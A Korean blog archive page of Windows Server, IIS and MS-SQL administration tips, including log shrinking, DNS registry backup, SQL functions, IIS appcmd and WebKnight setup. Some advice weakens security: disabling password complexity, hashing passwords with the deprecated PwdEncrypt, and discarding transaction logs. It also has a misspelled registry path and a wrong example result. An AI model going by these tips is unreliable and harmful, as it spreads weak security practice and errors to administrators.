Search Results for '프로그래밍/윈도우 & MS-SQL'


128 posts related to '프로그래밍/윈도우 & MS-SQL'

  1. 2023/09/13 Excel - 엑셀 2개 시트 값 비교 하
  2. 2012/02/07 log 데이타 용량 초기화
  3. 2012/02/07 Windows2008 R2 암호 복잡성 해제 방법
  4. 2011/11/23 윈도우 DNS 백업&복구
  5. 2011/11/23 MS-SQL 함수정의
  6. 2011/11/23 MS-SQL 사용자 소유 권한 변경
  7. 2011/11/23 Ms-Sql LDF파일 용량 줄이기
  8. 2011/11/23 Ms-Sql 암호화, 복호화 (PwdEncrypt, PwdCompare)
  9. 2011/11/14 윈도우7 원격제어 간단하게하기
  10. 2011/11/09 Microsoft® SQL Server® 2008 Express with Advanced Services 입니다.
  11. 2011/10/23 [Win2003]CDO.Message.1 오류 80070005 액세스가 거부되었습니다.
  12. 2011/10/21 호스트 파일 관리 프로그램
  13. 2011/06/11 IIS 7 - IIS 7 커맨드라인 관리도구 Appcmd 소개
  14. 2011/06/11 IIS 7 - PHP 설치, 설정 관리를 위한 PHP Manager for IIS
  15. 2011/06/11 IIS 7 - WebKnight 웹 서버 방화벽 사용법 1
  16. 2011/06/11 IIS 7 - URLScan - SQL 인젝션 공격이나 악의적인 공격으로부터 해방이다.
  17. 2011/06/11 MS 프로젝트 2003 한글 - MS Project 2003 Pro kor
  18. 2011/06/09 음력/양력/간지/공휴일 표시 MSQL DB 테이블
  19. 2011/05/29 윈도우용 gvim 에디터에서 새 탭으로 파일 열기.
  20. 2011/05/29 터미널 포트 변경.vbs
  21. 2011/05/14 터미널 포트 변경.vbs
  22. 2011/03/26 [MSSQL] 날짜 비교로 대량 데이터 처리
  23. 2011/01/27 터미널 2003 접속 정보(RDP File Settings)
  24. 2011/01/27 터미널 서비스의 접근 제어를 위해 포트 번호를 변경
  25. 2011/01/27 ASP 트로이잔 Webshell의 예방 및 문제해결방법
  26. 2011/01/27 윈도우에서 구동되는 포트번호
  27. 2011/01/27 SQL Injection 해킹 관련 자료, zxarps.exe Cain & Abel 등
  28. 2011/01/27 wmt에 대한 유용한 팁
  29. 2011/01/27 ASP 웹쉘 상세 분석 및 탐지 방안
  30. 2011/01/27 윈도우 보안 총정리
=IF(ISNA(VLOOKUP(D1,Sheet2!D:D,1,FALSE)), "없음", "있음")

이 수식은 Excel의 여러 함수를 조합하여 작성되었으며 각 부분의 기능은 다음과 같습니다:

VLOOKUP(D1,Sheet2!D:D,1,FALSE)
VLOOKUP 함수는 첫 번째 인수로 주어진 값(D1 셀의 값)을 두 번째 인수로 지정된 범위(Sheet2의 D열)에서 검색합니다.
세 번째 인수 '1'은 찾은 값과 같은 행의 첫 번째 열에서 값을 반환하도록 지시합니다 (여기서는 동일한 열이므로 그대로 반환됩니다).
네 번째 인수 'FALSE'는 완벽하게 일치하는 값을 찾도록 지시합니다.
ISNA(VLOOKUP(D1,Sheet2!D:D,1,FALSE))
ISNA 함수는 내부 함수(VLOOKUP)에서 반환된 값이 #N/A 오류인지 확인합니다. VLOOKUP은 찾고자 하는 값이 없을 때 #N/A 오류를 반환합니다. 따라서 이 함수는 찾고자 하는 값이 없으면 TRUE를, 있으면 FALSE를 반환합니다.
IF(ISNA(VLOOKUP(D1,Sheet2!D:D,1,FALSE)), "없음", "있음")
IF 함수는 첫 번째 인수로 주어진 조건이 TRUE인지 FALSE인지를 확인한 후, 조건이 TRUE이면 두 번째 인수("없음")를 반환하고, FALSE이면 세 번째 인수("있음")를 반환합니다.
여기서 첫 번째 인수는 ISNA 함수로, 찾고자 하는 값이 없을 때 TRUE를 반환하는 함수입니다. 따라서 찾고자 하는 값이 없으면 "없음"을 반환하고, 있으면 "있음"을 반환하도록 설정되어 있습니다.
이 수식을 사용하면, Sheet1의 D열에 있는 각 주문 번호가 Sheet2의 D열에 있는지 여부를 확인할 수 있으며, 결과는 "있음" 또는 "없음"으로 표시됩니다.
2023/09/13 02:29 2023/09/13 02:29
---------------------------
-- 로그 잘라내기

backup log test with no_log

sp_helpdb test

/*
name ...
----------------...
test ...


name ...
---------------...
test ...
test_log ... -- 축소하고자 하는 로그 파일명
*/


---------------------------
-- 로그 파일 축소
use test
go
dbcc shrinkfile (test_log,0)

/*
DbId FileId CurrentSize MinimumSize UsedPages EstimatedPages
------ ------ ----------- ----------- ----------- --------------
7 2 63 63 56 56

(1개 행 적용됨)

DBCC 실행이 완료되었습니다. DBCC에서 오류 메시지를 출력하면 시스템 관리자에게 문의하십시오.
*/
2012/02/07 10:05 2012/02/07 10:05
Windows 2008 Server R2 를 설치한후에 암호를 변경하게 되어 있는데, 복잡한 암호가 아니면 설정이 되지를 않는다.

하지만 너무 복잡한 암호는 또 까먹기도 쉽기에 원하는대로 설정하기를 바라게 된다.

이 부분을 해제하기 위한 방법은

1. 관리도구 -> 로컬 보안정책 -> 계정 정책 -> 암호 정책 를 크릭하면
2. 오른쪽 리스트 중에 암호는 복잡성을 만족해야 함을 사용안함으로 변경한다.
2012/02/07 10:03 2012/02/07 10:03

DNS 백업&복구

DNS백업
1. DNS 서비스 중지
2. regedit 실행
3. HKEY_LOCAL_MACHINE\SYSYEM\CirrentcControlSet\Servies\DNS 폴더를 내보내기 선택."DNS1"이라는 파일 이름으로 저장
4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\DNS Server 폴더를 내보내기 선택. "DNS2"라는 파일이름으로 저장
5. Windows\System32\DNS 디렉터리를 찾아서 확장자가 .dns인 모든파일복사
6. DNS 재시작.

DNS복구
1. 복사한 .dns확장자를 가진 파일을 Windows\System32\DNS에 복사
2. DNS서비스를 중지
3. .reg 확장자를 가진 두개의 파일을 클릭. 그리고 레지스트리에 설치 되었는지 확인.
4. DNS 서비스를 재시작.

2011/11/23 18:45 2011/11/23 18:45

MSSQL 함수 사용 및 예문들입니다.

환경은 MS-SQL2005 입니다
※ 문자열 함수 정리

1) Ascii() - 문자열의 제일 왼쪽 문자의 아스키 코드 값을 반환(Integer)
예) SELECT Ascii('abcd')

>> 결과는 a의 아스키 코드값인 97 반환

2) Char() - 정수 아스키 코드를 문자로 반환(Char)
예) SELECT Char(97)

>> 결과는 a 반환

3) Charindex() - 문자열에서 지정한 식의 위치를 반환
예) SELECT Charindex('b','abcde') >> 결과 : 2
SELECT Charindex('b','abcde',2) >> 결과 : 2
SELECT Charindex('b','abcde',3) >> 결과 : 0

-- 인수값이 3개일때 마지막은 abcde 에서의 문자열 검색 시작위치를 말하며
2인경우는 bcde 라는 문자열에 대해서 검색
3인 경우는 cde 라는 문자열에 대해서 검색 하게 된다.

4) Difference() - 두 문자식에 SUONDEX 값 간의 차이를 정수로 반환

예) SELECT Difference('a','b')

5) Left() - 문자열에서 왼쪽에서부터 지정한 수만큼의 문자를 반환

예) SELECT Left('abced',3) 결과 >> 3

6) Len() - 문자열의 길이 반환

예) SELECT Len('abced') 결과>>5

7) Lower() - 대문자를 소문자로 반환

예) SELECT Lower('ABCDE') 결과 >> abcde

8) Ltrim() - 문자열의 왼쪽 공백 제거

예) SELECT Ltrim(' AB CDE') 결과>> AB CDE

9)Nchar() - 지정한 정수 코드의 유니코드 문자 반환

예) SELECT Nchar(20) 결과 >>

10) Replace - 문자열에서 바꾸고 싶은 문자 다른 문자로 변환

예) SELECT Replace('abcde','a','1') 결과>>1bcde

11) Replicate() - 문자식을 지정한 횟수만큼 반복

예) SELECT Replicate('abc',3) 결과>> abcabcabc

12) Reverse() - 문자열을 역순으로 출력

예) SELECT Reverse('abcde') 결과>> edcba

13) Right() - 문자열의 오른쪽에서 부터 지정한 수 만큼 반환(Left() 와 비슷 )

예) SELECT Right('abcde',3) 결과>> cde

14)Rtrim() - 문자열의 오른쪽 공백 제거

예) SELECT Rtrim(' ab cde ') 결과>> ' ab cde' <-- 공백구분을위해 ' 표시

15) Space() - 지정한 수만큼의 공백 문자 반환

예) SELECT Space(10) 결과 >> ' ' -- 그냥 공백이 나옴

확인을 위해서 SELECT 'S'+Space(10)+'E' 결과 >> S E

16) Substring() - 문자,이진,텍스트 또는 이미지 식의 일부를 반환

예) SELECT Substring('abcde',2,3) 결과>> bcd

17)Unicode() - 식에 있는 첫번째 문자의 유니코드 정수 값을 반환

예)SELECT Unicode('abcde') 결과 >> 97

18)Upper() - 소문자를 대문자로 반환

예) SELECT Upper('abcde') 결과>> ABCDE

※ 기타 함수 Tip

19) Isnumeric - 해당 문자열이 숫자형이면 1 아니면 0을 반환

>> 숫자 : 1 , 숫자X :0

예) SELECT Isnumeric('30') 결과 >> 1

SELECT Isnumeric('3z') 결과 >> 0

20) Isdate() - 해당 문자열이 Datetime이면 1 아니면 0
>> 날짜 : 1 , 날짜 X :0
예) SELECT Isdate('20071231') 결과 >> 1

SELECT Isdate(getdate()) 결과 >> 1
SELECT Isdate('2007123') 결과 >> 0

SELECT Isdate('aa') 결과 >> 0

※ 날짜및 시간함수 정리

getdate() >> 오늘 날짜를 반환(datetime)

1> DateAdd() - 지정한 날짜에 일정 간격을 + 새 일정을 반환

예) SELECT Dateadd(s,2000,getdate())

2> Datediff() - 지정한 두 날짜의 간의 겹치는 날짜 및 시간 범위 반환

예)SELECT DateDiff(d,getdate(),(getdate()+31))

3> Datename() -지정한 날짜에 특정 날짜부분을 나타내는 문자열을 반환

예) SELECT Datename(d,getdate())

4> Datepart() -지정한 날짜에 특정 날짜부분을 나타내는 정수를 반환

예) SELECT Datepart(d,getdate())

>> Datename , Datepart 은 결과 값은 같으나 반환 값의 타입이 틀림.

5> Day() -지정한 날짜에 일 부분을 나타내는 정수를 반환

예) SELECT Day(getdate()) -- 일 반환

SELECT Month(getdate()) -- 월 반환

SELECT Year(getdate()) -- 년 반환

6> Getutcdate() -현재 UTC 시간을 나타내는 datetime 값을 반환

예) SELECT Getutcdate()

2011/11/23 18:44 2011/11/23 18:44
exec sp_changeobjectowner '소유자.테이블명','변경후소유자'
exec sp_changeobjectowner 'getmeout.mem_staff_rank_temp','dbo'
2011/11/23 18:44 2011/11/23 18:44
use testdb

-- DB 정보 보기
exec sp_helpdb testdb

-- LDF 파일 크기 줄이기 -- 트랜잭션 로그파일을 10메가로 생성
backup log testdb with TRUNCATE_ONLY
DBCC SHRINKFILE ([testdb_Log], 10)

-- MDF 파일 크기 줄이기
DBCC SHRINKDATABASE(testdb)

-- MS-SQL의 ldf 파일 용량 줄이기
-- 트랜잭션 로그파일 최소의 단위로 축소
backup log testdb with truncate_only

-- 트랜잭션 로그파일을 삭제
backup log testdb with no_log

-- 트랜잭션 로그파일을 10메가로 생성
dbcc shrinkfile (testdb_log, 10)

DBCC SHRINKFILE (file_name, target_size)
DBCC SHRINKDATABASE (database_name, target_percent)

2011/11/23 18:43 2011/11/23 18:43
Ms-Sql의 컬럼을 암호화하기 위한 내장함수가 있다.

-PwdEncrypt : 컬럼의 데이터를 암호화한다. ex. PwdEncrypt('암호화할 데이터')
-PwdCompare : 암호화한 데이터를 비교해서 확인한다. ex. PwdCompare('데이터', 암호화컬럼)

간단 예제

create table TEST (
password varchar(100)
);

테이블을 만든 후

insert into TEST values (PwdEncrypt('1111'));

데이터를 암호화하여 넣은 후 select해보자

select PwdCompare('1111', password) from TEST
결과 : 1

select PwdCompare('2222', password) from TEST
결과 : 0

PwdCompare의 결과는 1이나 0으로 리턴된다. 1이면 맞는거고 0이면 틀린것이다.
2011/11/23 18:43 2011/11/23 18:43

현재 네이트온으로는 윈도우7의 원격지원을 행할수가없다(단, 사용자 계정 컨트롤을 해제하면 가능하다. 해제후 재부팅 사용후 원래대로 돌려놓고 재부팅의 과정은 불가피하다)
윈도우7은 별로 복잡하지 않는 방법으로도 원격 지원을 받을수 있다.(32bit/64bit 모두)
Xp에서 윈도우7. 윈도우7 에서 윈도우7 원격제어 모두 가능하다.

1. 제어판 > 모든 제어판 항목 > 문제해결 로 들어가서 좌측에 "친구에게 도움요청" 클릭
- 제어판에서 보기 기준 을 작은아이콘 으로 하면 문제해결 아이콘을 바로 클릭할수있고, 보기기준범주 로 한경우는 시스템보안 범주에 문제 찾기 및 해결 을 클릭하면 좌측으로 친구에게 도움요청 링크가 보인다.

사용자 삽입 이미지


2. 새로운 사용자에게 도움요청 클릭
- 다른 사용자의 도움요청에 응할 경우라면 하단에 원격지원으로 다른 사용지 지원 을 클릭하여 받은 도움요청 파일과 임호를 넣거나 간단 연결을 이용하면 제어가능

사용자 삽입 이미지

3. 새로운 사용자에게 도움요청 클릭시 도움 요청 종류가 총 3가지가 뜬다.
- 이 도움요청을 파일로저장 : 파일로 저장하고 개인 메일이나, 메신져등으로 전송. (지금은 이 방법으로 진행하여 설명하기로 한다)
- 전자메일을 사용하여 도움요청 : 도움요청파일을 바로 메일로 전송(해당 컴퓨터에 메일 클라이언트가 설정 되어있어야 한다)
- 간단한 연결 사용 : 도와주는 상대방도 간단 연결을 사용할수있다면 이메뉴를 클릭.

사용자 삽입 이미지


4. 이 도움 요청을 파일로 저장 : 찾기 편한 곳으로 선택하여 저장한다. ( 필자는 바탕화면에 저장)
- 초대.msrcIncident 이라는 파일이 저장된다.

사용자 삽입 이미지


5. 해당 파일을 저장하면 바로 윈도우 원격지원 세션창이 뜨는데 이창을 닫으면 원격제어가 종료 되고, 그 첫화면으로 도우미에게 도움 요충 파일과 암호를 알려주세요 라는 문구와 함게 암호가 나온다.

사용자 삽입 이미지


6. 저장한 파일을 전송하고 제어 를 해줄 도우미에게 암호를 알려준다.
- 도우미는 해당 파일을 더블릭하고 암호를 입력하면 제어를 할수있다.
- 원격제어 창에서 채트 라는 메뉴를 클릭하면 채팅 도 가능하다.(채팅/파일보내기 모두 가능하다.)

7. 파일을 받은 도우미는 받은 파일을 더블클릭하면 암호 입력창을 볼수있고 암호를 입력시 원격제어 요청 상태가 되고, 도움을 요청한 사용자가 해당 요청을 허가하면 바로 원격제어가 가능해진다.
2011/11/14 16:22 2011/11/14 16:22

아티보드로 홈페이지를 제작하면서 SQL 서버에 접속해서 작업을 할 경우가 자주 있는데요

퀴리분석기로 들어가서 모든작업이 가능하긴 하지만 가끔은 EM (엔터프라이즈관리자) 도 사용해야할 경우가 있지요

이때 편리한 프로그램을 소개합니다
Microsoft® SQL Server® 2008 Express with Advanced Services 라는 것으로 인터페이스는 SQL2008 를
닮았으며 SQL 2008 처럼 퀴리분석기과 EM 이 같이 합쳐진듯한 느낌의 인터페이스 입니다

무료로 마이크로소프트에서 배포하는 프로그램입니다


Microsoft SQL Server 2008 Express with Tools는 사용이 용이한 SQL Server Express 데이터 플랫폼의 무료 버전입니다. 이 버전에는 웹 또는 로컬 데스크톱용으로 강력한 데이터 기반 응용 프로그램을 더욱 손쉽게 개발할 수 있는 그래픽 관리 도구가 포함되어 있습니다.

개요

Microsoft SQL Server 2008 Express with Tools는 그래픽 관리 도구인 SQL Server Management Studio (SMSS) Express가 포함되어 있는 사용이 용이한 SQL Server Express의 무료 버전입니다. SQL Server 2008 Express는 다양한 기능, 데이터 보호 및 빠른 성능을 제공하며 소규모 서버 응용 프로그램과 로컬 데이터 저장소에 적합합니다.

응용 프로그램의 포함된 일부로 무료 다운로드, 배포 및 재배포가 가능한 SQL Server Express with Tools를 통해 데이터 기반 응용 프로그램을 쉽고 빠르게 개발하고 관리할 수 있습니다.

시스템 요구 사항


  • 지원하는 운영 체제:Windows Server 2003 Service Pack 2;Windows Server 2008;Windows Vista;Windows Vista Service Pack 1;Windows XP Service Pack 2;Windows XP Service Pack 3
    • 32비트 시스템: Intel 또는 호환 가능한 1GHz 이상의 프로세서가 장착된 컴퓨터(2GHz 이상 권장, 단일 프로세서만 지원됨)
    • 64비트 시스템: 1.4 GHz 이상의 프로세서(2GHz 이상 권장, 단일 프로세서만 지원됨)
    • 최소 512MB RAM(1GB 이상 권장)
    • 1GB의 여유 하드 디스크 공간

    참고: 이 릴리스에서는 Windows XP Embedded Edition은 지원하지 않습니다.

    참고: SQL Server Express를 설치하려면 컴퓨터에 대한 관리 권한이 있어야 합니다.

    SQL Server Express with Tools를 설치하기 전에 릴리스 정보추가 정보를 읽는 것이 좋습니다.

    1단계: Microsoft .Net Framework 3.5 SP1을 다운로드하고 설치합니다.

    2단계: Windows Installer 4.5를 다운로드하고 설치합니다.

    3단계: Windows PowerShell 1.0을 다운로드하고 설치합니다.

    참고: Windows Powershell 1.0 설치에 대한 자세한 내용은 다음 기술 자료 문서를 참조하십시오.

  • 926139: Windows Server 2003 및 WindowsXP 용 PowerShell 1.0 영어 설치 패키지
  • 926140: Windows Server 2003 및 Windows XP용 PowerShell 1.0 다국어 설치 패키지
  • 926141: Windows Server 2003 및 Windows XP용 PowerShell 1.0 MUI(Multilingual User Interface) 언어 팩
  • 928439: Windows Vista용 Windows PowerShell 1.0 설치 패키지(모든 언어 포함)
  • 4단계: 이 페이지 뒷부분의 적절한 링크를 클릭하여 SQL Server 2008 Express with Advanced Services를 다운로드합니다. 즉시 설치를 시작하려면 실행을 클릭하고, 나중에 SQL Server Express를 설치하려면 저장을 클릭합니다.

    2011/11/09 18:19 2011/11/09 18:19

    사용자 삽입 이미지
    서버 : 윈도우 2003
    프로그램 : 익스체인지서버

    인 경우에 CDO.Message를 이용하고자 할 경우

    웹사이트 등록정보에서 응용프로그램 풀을 다음과 같이 변경한다.

    DefaultPool => ExchangeApplicantPool


    혹시 이렇게 해도 안되면...
    c:\windows\system32\cdosys.dll 파일에 웹게스트권한 추가해 준다

    2011/10/23 11:49 2011/10/23 11:49
    이 프로그램은 호스트 관리 프로그램입니다.

    [관리 방법]
    1. 폴더 관리
    폴더는 6개가 관리됩니다.
    실행 파일 폴더에 있는 Policies 폴더와
    Option.ini 파일에 5개의 폴더를 세팅할 수 있습니다.


    2. 호스트 파일 관리
    호스트 파일은 host 라는 확장자를 씁니다.
    Policies 폴더에 sample.host 파일과 같이 첫번째 줄에는 디폴트 URL을 적고 그 아래 호스트 정책 내용 을 적으면 됩
    니다.

    -- 호스트 파일 생성/삭제, 호스트 내용 변경은 프로그램상에서도 가능합니다.


    3. 프로그램 우측 상단에 "실행/종료시 익스플로어를 모두 종료"를 체크하면 호스트 적용/해제시에 익스플로어가 모
    두 종료됩니다.

    [사용법]
    1. 상단 탭에서 폴더 "클릭"

    2. 좌측의 파일 리스트 중에 적용할 파일 "더블 클릭"

    3. 좌측 상단에 ▶ 적용 버튼을 누르면 호스트가 적용되고, 해제를 누르면 호스트 적용이 해제 됩니다.

    출처 : http://www.saltsoft.com
    2011/10/21 01:58 2011/10/21 01:58

    이번 포스팅에서는 IIS 7 에서 제공되는 새로운 커맨드라인(Command-line) 관리도구 Appcmd.exe 도구를 소개 드립니다. Appcmd.exe 도구를 사용하면 GUI 환경의 인터넷 정보 서비스 관리자를 사용하지 않고 쉽고 빠르게 서버를 제어할 수 있는 기능을 제공합니다. Appcmd.exe 를 통해서 대표적으로 아래 기능들을 수행할 수 있습니다.

    *
    웹 사이트, 응용 프로그램 풀, 가상 디렉터리의 생성, 삭제, 변경, 설정
    * 웹 사이트, 응용 프로그램 풀의 시작, 중지, 재생
    * 실행 중인 worker process, 요청에 대한 정보 보기
    * IIS, ASP.NET 설정에 대한 가져오기, 내보내기, 변경

    Appcmd.exe 도구는 %systemroot%\system32\inetsrv 경로에 있으며 명령을 실행하는 방법은 아래와 같습니다.
    사용방법) APPCMD (command) (object-type) <identifier> < /parameter1:value1 ... > 

    사용자 삽입 이미지



    APPCMD 도구를 사용할 때 지원하는 명령, 개체 유형은 아래와 같습니다.

    1. 명령(Command)
    add, clear, configure, delete, inspect, install, list, lock, migrate, recycle, reset, restore, search, set, start, stop, uninstall, unlock

    2. 개체 유형(object-type)
    site, app, vdir, apppool, config, wp, request, module, backup, trace


    실제 운영 서버에 사용해 볼만한 몇 가지 명령들을 예제로 정리하였습니다.

    1. APPCMD list 명령을 통해 사이트, 응용 프로그램 풀, Worker Processes, 가상 디렉터리 정보 조회
    가. Appcmd list site
    나. Appcmd list app
    다. Appcmd list wp
    라. Appcmd list vdir

    사용자 삽입 이미지




    2. List 명령과 /text:* 파라미터를 추가하여 "xe" 웹 웹사이트에 대한 자세한 정보 얻기
    가. Appcmd list app "xe/" /text:*

    사용자 삽입 이미지


    3. 설치된 모듈 확인
    가. Appcmd list module

    사용자 삽입 이미지




    4. 현재 실행 중인 요청 확인
    가. Appcmd list request /site.name:"WEB1"

    C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
    REQUEST "c900000080003a68" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
    time:15 msec, client:192.168.0.101, stage:MapRequestHandler, module:ManagedPipelineHandler)

    C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
    REQUEST "b70000008000a3f1" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
    time:15 msec, client:192.168.0.102, stage:SendResponse, module:IIS Web Core)

    C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
    REQUEST "ed0000008000d2ee" (url:POST /LoginS.aspx, time:141 msec, client:192.168.0.101,
    stage:MapRequestHandler, module:ManagedPipelineHandler)

    C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
    REQUEST "f4000000800083a3" (url:GET /data/images/skin/2 Window_Data Popup/imag
    es/dwframe_1.gif, time:16 msec, client:192.168.0.103, stage:SendResponse, module:IIS Web Core)



    5. Site 상태 제어
    가. Appcmd stop site /site.name:XE
    나. Appcmd start site /site.name:XE

    사용자 삽입 이미지




    6. 글로벌 서버 설정 백업과 복원
    가. Appcmd add backup
    나. Appcmd restore backup /backup.name:"20101215T224415"

    사용자 삽입 이미지




    위와 같이 몇 가지 예제를 통해서 appcmd command-line 도구를 활용하는 방법에 대해서 간단히 확인하였습니다. 위 예제에서 다뤄보지 못한 개체 유형(object-type)과 명령(command)이 아직 많이 있으니 도움말을 통해 확인해 보시고 이외에도 유용한 명령이 있으면 추천 부탁 드립니다.

    2011/06/11 01:07 2011/06/11 01:07

    IIS 7 에서 PHP 웹 어플리케이션 사용하신다면 PHP Manager for IIS 모듈을 설치하여 PHP 설치, 설정 관리를 보다 쉽게 하실 수 있습니다. PHP Manager for IIS 모듈에서 제공하는 기능은 아래와 같습니다.

    1. 새로운 PHP 버전 설치(등록)
    2. PHP 구성에 대한 검증 권장 설정 가이드
    3. 다른 여러 버전의 PHP 실행
    4. phpinfo() 함수 실행을 통한 설정 점검
    5. 다양한 PHP 설정 구성
    6. PHP 확장(Extensions) 활성화 또는 비활성화
    7. PHP.INI 파일 원격 관리

    다소 복잡해 보이고 익숙하지 않은 PHP.INI 설정 파일을 메모장으로 열어 수정한 뒤 검증하는 데까지 발생하는 불편함을 GUI 를 통해 보다 쉽고 간편하게 관리할 수 있는 이점이 있으며 사이트마다 별도의 PHP 버전 적용이 용이한 이점이 있습니다. 그럼, 설치 및 간단히 기능에 대해서 살펴 보도록 하겠습니다.


    [설치]
    웹 플랫폼 설치 관리자를 사용하시면 쉽게 PHP Manager for IIS를 설치하실 수 있습니다. 설치 방법은 아래와 같습니다.

    웹 플랫폼 설치 관리자 - 제품 - PHP Manager for IIS(영어) - 추가 - 설치

    사용자 삽입 이미지



    또는 아래 링크를 통해 최신버전을 직접 다운로드 받아 설치하실 수 있습니다.

    PHP Manager for IIS
    http://phpmanager.codeplex.com/releases/view/59970



    [기능 살펴보기]
    설치가 완료되면 인터넷 정보 서비스 관리자의 기능 보기 메뉴를 통해 새롭게 추가된 "PHP Manager" 모듈을 확인하실 수 있습니다. PHP 5.3.5 버전에 Xpress Engine 이 설치되어 있는 테스트 환경에서 PHP Manager 기능을 실행하여 인터페이스를 살펴보도록 하겠습니다.

    사용자 삽입 이미지



    PHP Setup, Settings, Extensions 3가지 카테고리로 구분되어 있으며 포스팅 서두에서 언급한 것과 같이 모듈에서 지원하는 기능에 대한 인터페이스를 보실 수 있습니다.

    1. View recommendations
    PHP Manager 실행 시 가장 먼저 상위에 있는 PHP Setup 항목에 PHP 최적 구성을 권장하기 위한 경고 알림 느낌표가 나타난 것을 확인할 수 있습니다. "View recommendations" 를 클릭하여 어떤 메시지인지 확인해 봅니다.

    사용자 삽입 이미지



    기본 문서가 Default.htm 으로 설정되어 있으며 index.php 로 변경할 것을 가이드 하고 있습니다. 해당 항목을 체크한 뒤 확인 버튼을 클릭하시면 "기본 문서" 설정의 기본 값을 자동으로 변경해 줍니다. 그 외 권장되는 설정들의 항목이 발견되었다면 아래 제시된 설명을 참조하여 반영 여부를 결정해 주시면 됩니다.


    사용자 삽입 이미지




    2. Register new PHP version
    새로운 버전의 PHP 를 설치하였을 때, php-cgi.exe path 를 설정할 수 있습니다.

    사용자 삽입 이미지




    3. Change PHP version
    여러 버전의 PHP 가 설치되어 있을 때, 해당 웹 사이트의 PHP 버전을 선택하여 적용할 수 있습니다.

    사용자 삽입 이미지




    4. Check phpinfo()
    phpinfo() 함수 실행 결과를 바로 확인할 수 있습니다.

    사용자 삽입 이미지




    5. Configure error reporting
    PHP 오류 리포팅 종류와 로그 파일 경로를 지정할 수 있습니다. 개발 머신으로 선택할 경우 모든 오류, 경고와 알림 메시지를 로그 파일로도 기록할 수 있습니다.

    사용자 삽입 이미지




    6. Set runtime limits
    런타임 제한 설정을 지정할 수 있습니다. Maximum Execution Time 값은 PHP.INI 의 max_execution_time 설정이 됩니다.

    사용자 삽입 이미지




    7. Manage all settings
    복잡한 PHP.INI 메모장으로 편집하던 불편함을 에디팅 도구를 통해 간편하게 설정할 수 있습니다.

    사용자 삽입 이미지




    8. Enable or disable an extension
    Extensions 의 활성/비활성화 또는 추가할 수 있는 인터페이스를 제공합니다.

    사용자 삽입 이미지




    9. Add an extension
    Extensions 을 추가할 수 있는 인터페이스를 제공합니다.

    사용자 삽입 이미지



    PHP Manager for IIS 1.1 버전에서 제공하는 기능과 인터페이스를 살펴 봤습니다. PHP 를 사용하신다면 유용한 모듈이 되겠습니다.

    2011/06/11 00:59 2011/06/11 00:59

    요청 필터링, URLScan 에 이어 이번에는 IIS 웹 서버에 설치할 수 있는 공개용 방화벽 WebKnight 에 대해서 간략히 정리해 봅니다. 이미 한국정보보호진흥(KISA)원에서 제공하는 "WebKnight를 활용한 IIS 웹서버 보안 강화 가이드" 라는 한글화 된 문서로 잘 정리되어 있으므로 WebKnight 에 대한 전반적인 사항은 아래 링크를 참조해 주시면 좋을 것 같습니다.


    WebKnight 자료실
    http://toolbox.krcert.or.kr/MMBF/MMBFBBS_S.aspx?MENU_CODE=37&BOARD_ID=8

    그래서 이번 포스팅에서는 WebKnight 의 간단한 개요와 실제 IIS 7.5 환경에서 설치하고 기본적으로 제공되는 규칙을 통해 필터링이 동작하는 방법을 간략히 살펴 보도록 하겠습니다.


    WebKnight 는 AQTRONIX (http://www.aqtronix.com/?PageID=99) 에서 제공하는 공개용 웹 서버 방화벽입니다. URLScan 툴과 마찬가지로 ISAPI (Internet Server API) 필터에 해당 모듈 DLL 파일을 등록하여 사용하게 됩니다. WebKnight 는 오픈 소스로 제공되며 차단된 기록에 대해서 로깅 정보를 제공해 줍니다. 그리고 Windows Installer 패키지를 사용하여 쉬운 설치가 가능하며 필터링 규칙 및 옵션 변경을 GUI 로 제어할 수는 이점이 있습니다. 또한 설정 변경 후 웹 서비스 재시작이 필요없이 런타임 업데이트가 가능한 특징을 가지고 있습니다.


    [WebKnight 설치]
    1. WebKnight 2.3 다운로드
    http://aqtronix.com/?PageID=99#Download


    2. ISAPI 필터 설치
    가. URLScan 설치와 마찬가지 WebKnight 를 사용하기 위해서는 설치하기 앞서 ISAPI 필터 모듈이 설치되어 있어야 합니다.
    나. 역할 서비스 - 웹 서버 - 응용 프로그램 개발 - ISAPI 필터


    3. 다운로드 파일 압축 해제 및 WebKnight.msi 파일 설치
    가. MSI 파일로 설치할 경우 자동으로 ISAPI 필터에 WebKnight DLL 이 등록됩니다. (사전에 ISAPI 필터 모듈이 설치되어 있어야 함)


    4. 설치 확인
    가. 인터넷 정보 서비스 관리자 - ISAPI 필터
    나. 이름 : WebKnight, 실행 파일 : C:\Program files\AQTRONIX WebKnight\WebKnight.dll

    사용자 삽입 이미지




    5. 기본 설정
    가. 시작 - 모든 프로그램 - AQTRONIX WebKnight - WebKnight Configuration - WebKnight.xml
    1) Mapped Path – Use Allowed Paths - 홈 디렉터리 경로 추가
       

    사용자 삽입 이미지



    나. WebKnight 폴더 권한 부여 (응용 프로그램 풀 계정)
    1) 탐색기를 실행하여 C:\Program files\AQTRONIX WebKnight 폴더에 대해서 속성 - 보안 - 추가
    가) IIS 7.0 환경인 경우 : NETWORK SERVICE 계정 추가
    나) IIS 7.5 환경인 경우 : IIS_USERS 계정 추가
    다. IIS 서비스 재시작



    [WebKnight 규칙 적용 테스트]
    WebKnight 를 설치하면 기본적으로 Denied Extensions 항목에 아래와 같은 확장자들이 차단되도록 규칙이 생성되어 있습니다. 예로 .inc 파일에 접근했을 때, 어떻게 동작하는 지 살펴 보겠습니다.

    사용자 삽입 이미지



    inc 확장자를 요청하게 되는 경우 WebKnight 기본 차단 규칙에 포함된 확장자에
    해당하므로 WebKnight 에서 제공되는 준비된 경고 페이지를 보여주게 됩니다.


    사용자 삽입 이미지




    이 때, 어떤 접근에 의해 차단되었는지 확인하기 위해서는 아래 경로에 기록되는 로그 파일을 참조하여 "BLOCKED" 메시지를 확인해 보시면 됩니다. 또는
    함께 제공되는 LogAnalysis.exe 툴을 사용하면 GUI 인터페이스로 로그 파일을 쉽게 확인하고 분석하는 데 유용하게 활용할 수 있습니다.


    C:\Program Files\AQTRONIX WebKnight\Logfiles 폴더 아래 순차적으로 로그 파일 기록되어 있습니다.


    Software: AQTRONIX WebKnight 2.3
    #Date: 2010-11-23 16:04:13
    #LogTime: GMT (Local-09:00)
